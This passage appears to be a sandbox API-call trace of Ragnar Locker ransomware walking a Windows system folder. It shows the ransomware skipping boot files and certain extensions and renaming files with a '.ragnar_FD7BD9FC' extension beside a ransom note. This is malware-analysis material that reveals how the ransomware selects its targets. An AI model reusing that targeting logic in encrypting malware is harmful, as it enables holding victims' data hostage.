[0078.608] lstrcmpiW (lpString1="msadcs.dll", lpString2=".") returned 1 [0078.608] lstrcmpiW (lpString1="msadcs.dll", lpString2="..") returned 1 [0078.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0078.608] lstrcmpiW (lpString1="msadds.dll", lpString2=".") returned 1 [0078.608] lstrcmpiW (lpString1="msadds.dll", lpString2="..") returned 1 [0078.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0078.608] lstrcmpiW (lpString1="msaddsr.dll", lpString2=".") returned 1 [0078.608] lstrcmpiW (lpString1="msaddsr.dll", lpString2="..") returned 1 [0078.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0078.608] lstrcmpiW (lpString1="msdaprsr.dll", lpString2=".") returned 1 [0078.608] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="..") returned 1 [0078.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0078.608] lstrcmpiW (lpString1="msdaprst.dll", lpString2=".") returned 1 [0078.608] lstrcmpiW (lpString1="msdaprst.dll", lpString2="..") returned 1 [0078.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0078.608] lstrcmpiW (lpString1="msdarem.dll", lpString2=".") returned 1 [0078.608] lstrcmpiW (lpString1="msdarem.dll", lpString2="..") returned 1 [0078.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0078.608] lstrcmpiW (lpString1="msdaremr.dll", lpString2=".") returned 1 [0078.608] lstrcmpiW (lpString1="msdaremr.dll", lpString2="..") returned 1 [0078.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0078.608] lstrcmpiW (lpString1="msdfmap.dll", lpString2=".") returned 1 [0078.608] lstrcmpiW (lpString1="msdfmap.dll", lpString2="..") returned 1 [0078.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81166d80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.608] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.609] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.609] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81166d80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.609] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.609] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81166d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.609] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81166d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.609] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0078.609] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.609] lstrcpyW (in: lpString1=0x1eb61e, lpString2="adcjavas.inc" | out: lpString1="adcjavas.inc") returned="adcjavas.inc" [0078.609] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned=".inc" [0078.609] lstrcmpiW (lpString1="adcjavas.inc", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.609] lstrcmpiW (lpString1="adcjavas.inc", lpString2="autorun.inf") returned -1 [0078.609] lstrcmpiW (lpString1="adcjavas.inc", lpString2="boot.ini") returned -1 [0078.609] lstrcmpiW (lpString1="adcjavas.inc", lpString2="bootfont.bin") returned -1 [0078.609] lstrcmpiW (lpString1="adcjavas.inc", lpString2="bootsect.bak") returned -1 [0078.609] lstrcmpiW (lpString1="adcjavas.inc", lpString2="bootmgr") returned -1 [0078.609] lstrcmpiW (lpString1="adcjavas.inc", lpString2="bootmgr.efi") returned -1 [0078.609] lstrcmpiW (lpString1="adcjavas.inc", lpString2="bootmgfw.efi") returned -1 [0078.609] lstrcmpiW (lpString1="adcjavas.inc", lpString2="desktop.ini") returned -1 [0078.609] lstrcmpiW (lpString1="adcjavas.inc", lpString2="iconcache.db") returned -1 [0078.609] lstrcmpiW (lpString1="adcjavas.inc", lpString2="ntldr") returned -1 [0078.609] lstrcmpiW (lpString1="adcjavas.inc", lpString2="ntuser.dat") returned -1 [0078.609] lstrcmpiW (lpString1="adcjavas.inc", lpString2="ntuser.dat.log") returned -1 [0078.609] lstrcmpiW (lpString1="adcjavas.inc", lpString2="ntuser.ini") returned -1 [0078.609] lstrcmpiW (lpString1="adcjavas.inc", lpString2="thumbs.db") returned -1 [0078.609] lstrcmpiW (lpString1=".inc", lpString2=".db") returned 1 [0078.609] lstrcmpiW (lpString1=".inc", lpString2=".sys") returned -1 [0078.609] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0078.609] lstrcmpiW (lpString1=".inc", lpString2=".lnk") returned -1 [0078.609] lstrcmpiW (lpString1=".inc", lpString2=".msi") returned -1 [0078.609] lstrcmpiW (lpString1=".inc", lpString2=".drv") returned 1 [0078.609] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1 [0078.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0078.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.610] CloseHandle (hObject=0xffffffff) returned 0 [0078.610] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" [0078.610] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.ragnar_FD7BD9FC" [0078.611] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.611] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0078.611] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.611] lstrcpyW (in: lpString1=0x1eb61e, lpString2="adcvbs.inc" | out: lpString1="adcvbs.inc") returned="adcvbs.inc" [0078.611] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned=".inc" [0078.611] lstrcmpiW (lpString1="adcvbs.inc", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.611] lstrcmpiW (lpString1="adcvbs.inc", lpString2="autorun.inf") returned -1 [0078.611] lstrcmpiW (lpString1="adcvbs.inc", lpString2="boot.ini") returned -1 [0078.611] lstrcmpiW (lpString1="adcvbs.inc", lpString2="bootfont.bin") returned -1 [0078.611] lstrcmpiW (lpString1="adcvbs.inc", lpString2="bootsect.bak") returned -1 [0078.611] lstrcmpiW (lpString1="adcvbs.inc", lpString2="bootmgr") returned -1 [0078.611] lstrcmpiW (lpString1="adcvbs.inc", lpString2="bootmgr.efi") returned -1 [0078.611] lstrcmpiW (lpString1="adcvbs.inc", lpString2="bootmgfw.efi") returned -1 [0078.611] lstrcmpiW (lpString1="adcvbs.inc", lpString2="desktop.ini") returned -1 [0078.611] lstrcmpiW (lpString1="adcvbs.inc", lpString2="iconcache.db") returned -1 [0078.611] lstrcmpiW (lpString1="adcvbs.inc", lpString2="ntldr") returned -1 [0078.611] lstrcmpiW (lpString1="adcvbs.inc", lpString2="ntuser.dat") returned -1 [0078.611] lstrcmpiW (lpString1="adcvbs.inc", lpString2="ntuser.dat.log") returned -1 [0078.611] lstrcmpiW (lpString1="adcvbs.inc", lpString2="ntuser.ini") returned -1 [0078.611] lstrcmpiW (lpString1="adcvbs.inc", lpString2="thumbs.db") returned -1 [0078.611] lstrcmpiW (lpString1=".inc", lpString2=".db") returned 1 [0078.611] lstrcmpiW (lpString1=".inc", lpString2=".sys") returned -1 [0078.611] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0078.611] lstrcmpiW (lpString1=".inc", lpString2=".lnk") returned -1 [0078.611] lstrcmpiW (lpString1=".inc", lpString2=".msi") returned -1 [0078.611] lstrcmpiW (lpString1=".inc", lpString2=".drv") returned 1 [0078.611] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1 [0078.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0078.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.612] CloseHandle (hObject=0xffffffff) returned 0 [0078.612] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" [0078.612] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.ragnar_FD7BD9FC" [0078.612] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.612] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81166d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.612] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0078.612] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.612] lstrcpyW (in: lpString1=0x1eb61e, lpString2="handler.reg" | out: lpString1="handler.reg") returned="handler.reg" [0078.612] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg") returned=".reg" [0078.612] lstrcmpiW (lpString1="handler.reg", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.612] lstrcmpiW (lpString1="handler.reg", lpString2="autorun.inf") returned 1 [0078.612] lstrcmpiW (lpString1="handler.reg", lpString2="boot.ini") returned 1 [0078.612] lstrcmpiW (lpString1="handler.reg", lpString2="bootfont.bin") returned 1 [0078.612] lstrcmpiW (lpString1="handler.reg", lpString2="bootsect.bak") returned 1 [0078.612] lstrcmpiW (lpString1="handler.reg", lpString2="bootmgr") returned 1 [0078.612] lstrcmpiW (lpString1="handler.reg", lpString2="bootmgr.efi") returned 1 [0078.612] lstrcmpiW (lpString1="handler.reg", lpString2="bootmgfw.efi") returned 1 [0078.612] lstrcmpiW (lpString1="handler.reg", lpString2="desktop.ini") returned 1 [0078.612] lstrcmpiW (lpString1="handler.reg", lpString2="iconcache.db") returned -1 [0078.612] lstrcmpiW (lpString1="handler.reg", lpString2="ntldr") returned -1 [0078.612] lstrcmpiW (lpString1="handler.reg", lpString2="ntuser.dat") returned -1 [0078.612] lstrcmpiW (lpString1="handler.reg", lpString2="ntuser.dat.log") returned -1 [0078.612] lstrcmpiW (lpString1="handler.reg", lpString2="ntuser.ini") returned -1 [0078.612] lstrcmpiW (lpString1="handler.reg", lpString2="thumbs.db") returned -1 [0078.612] lstrcmpiW (lpString1=".reg", lpString2=".db") returned 1 [0078.613] lstrcmpiW (lpString1=".reg", lpString2=".sys") returned -1 [0078.613] lstrcmpiW (lpString1=".reg", lpString2=".dll") returned 1 [0078.613] lstrcmpiW (lpString1=".reg", lpString2=".lnk") returned 1 [0078.613] lstrcmpiW (lpString1=".reg", lpString2=".msi") returned 1 [0078.613] lstrcmpiW (lpString1=".reg", lpString2=".drv") returned 1 [0078.613] lstrcmpiW (lpString1=".reg", lpString2=".exe") returned 1 [0078.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg")) returned 0x20 [0078.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.613] CloseHandle (hObject=0xffffffff) returned 0 [0078.614] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" [0078.614] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg.ragnar_FD7BD9FC" [0078.614] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.614] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0078.614] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.614] lstrcpyW (in: lpString1=0x1eb61e, lpString2="handsafe.reg" | out: lpString1="handsafe.reg") returned="handsafe.reg" [0078.614] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg") returned=".reg" [0078.614] lstrcmpiW (lpString1="handsafe.reg", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.614] lstrcmpiW (lpString1="handsafe.reg", lpString2="autorun.inf") returned 1 [0078.614] lstrcmpiW (lpString1="handsafe.reg", lpString2="boot.ini") returned 1 [0078.614] lstrcmpiW (lpString1="handsafe.reg", lpString2="bootfont.bin") returned 1 [0078.614] lstrcmpiW (lpString1="handsafe.reg", lpString2="bootsect.bak") returned 1 [0078.614] lstrcmpiW (lpString1="handsafe.reg", lpString2="bootmgr") returned 1 [0078.614] lstrcmpiW (lpString1="handsafe.reg", lpString2="bootmgr.efi") returned 1 [0078.614] lstrcmpiW (lpString1="handsafe.reg", lpString2="bootmgfw.efi") returned 1 [0078.614] lstrcmpiW (lpString1="handsafe.reg", lpString2="desktop.ini") returned 1 [0078.614] lstrcmpiW (lpString1="handsafe.reg", lpString2="iconcache.db") returned -1 [0078.614] lstrcmpiW (lpString1="handsafe.reg", lpString2="ntldr") returned -1 [0078.614] lstrcmpiW (lpString1="handsafe.reg", lpString2="ntuser.dat") returned -1 [0078.614] lstrcmpiW (lpString1="handsafe.reg", lpString2="ntuser.dat.log") returned -1 [0078.614] lstrcmpiW (lpString1="handsafe.reg", lpString2="ntuser.ini") returned -1 [0078.614] lstrcmpiW (lpString1="handsafe.reg", lpString2="thumbs.db") returned -1 [0078.614] lstrcmpiW (lpString1=".reg", lpString2=".db") returned 1 [0078.614] lstrcmpiW (lpString1=".reg", lpString2=".sys") returned -1 [0078.614] lstrcmpiW (lpString1=".reg", lpString2=".dll") returned 1 [0078.614] lstrcmpiW (lpString1=".reg", lpString2=".lnk") returned 1 [0078.614] lstrcmpiW (lpString1=".reg", lpString2=".msi") returned 1 [0078.614] lstrcmpiW (lpString1=".reg", lpString2=".drv") returned 1 [0078.614] lstrcmpiW (lpString1=".reg", lpString2=".exe") returned 1 [0078.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg")) returned 0x20 [0078.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.615] CloseHandle (hObject=0xffffffff) returned 0 [0078.615] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" [0078.615] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg.ragnar_FD7BD9FC" [0078.615] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.615] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0078.615] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common 